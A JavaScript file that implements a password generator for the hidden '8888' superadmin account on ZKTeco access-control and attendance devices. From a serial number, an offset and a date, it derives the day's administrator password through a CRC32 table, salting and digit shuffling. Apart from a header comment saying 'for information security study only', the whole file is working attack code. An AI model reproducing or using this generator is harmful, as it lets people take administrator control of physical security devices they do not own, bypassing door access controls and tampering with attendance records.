/*
 * ZKteco 8888 SuperAdmin Password Algorithm FOR INFOMATION SECURITY STUDY ONLY
 * By Doghole at https://www.smileat.me
 * 2022/08/08
 * 
 * 2023/10/07 update: appointed date
 */
 
var ngxCrc32Short = [
    0x00000000, 0x1DB71064, 0x3B6E20C8, 0x26D930AC,
    0x76DC4190, 0x6B6B51F4, 0x4DB26158, 0x5005713C,
    0xEDB88320, 0xF00F9344, 0xD6D6A3E8, 0xCB61B38C,
    0x9B64C2B0, 0x86D3D2D4, 0xA00AE278, 0xBDBDF21C];
    
var crc32Update = function (str) {
    var crc = 0, i = 0, len = str.length, c;
    if (len > 0) {
        while (i < len) {
            c = str[i++].charCodeAt() >>> 0;
            crc = (ngxCrc32Short[((crc ^ c) >>> 0 & 0xf) & 0xf] ^ (crc >>> 4)) >>> 0;
            crc = (ngxCrc32Short[(crc ^ (c >>> 4)) & 0xf] ^ (crc >>> 4)) >>> 0;
        }
    }
    return crc;
}

var shortenCrc = function (crc) {
    var shortCrc = 0, salt = 0x6f;
    var flag = (crc % 1000000) >>> 0;
    do
    {
        shortCrc = (flag % 100 * 289 % 397 * 33 + salt) % 100 + shortCrc * 100;
        salt += 7;
        flag = (flag - flag % 100) / 100;
    } while (flag != 0);
    return shortCrc;
}

var hashTimestamp = function (ts) {
    var hash = ts + -0x589d6766;
    return ((hash - hash % 10) / 10) % 1000000;
}

var split = function (i) {
    var i3 = i % 100, i2 = (i - i3) / 100 % 100, i1 = (i - i % 10000) / 10000 % 100;
    return [i1, i2, i3];
}

var getPassCheck = function (b) {
    b += '';
    var check = 5;
    for (var i = 0; i < b.length; i++) {
        check += parseInt(b[i]);
    }
    return check % 10;
} 

var getPassword = function (serialNumber, offset, dateStr) {
    
    var date = new Date().setHours(0, 0, 0, 0),
        s = /(\d{4})(\d{2})(\d{2})/.exec(dateStr.trim());
    if (s) {
        date = new Date(s[1], s[2]-1, s[3]);
    }
    var a = 999999 - shortenCrc(crc32Update(serialNumber)),
        c = hashTimestamp(date / 1000) + offset;
    var aSplit = split(a), cSplit = split(c);
    var b = (aSplit[0] - cSplit[0] + 100) % 100 + (aSplit[1] - cSplit[1] + 100) % 100 * 100 + (aSplit[2] - cSplit[2] + 100) % 100 * 10000;
    return b * 100 + getPassCheck(b);
}
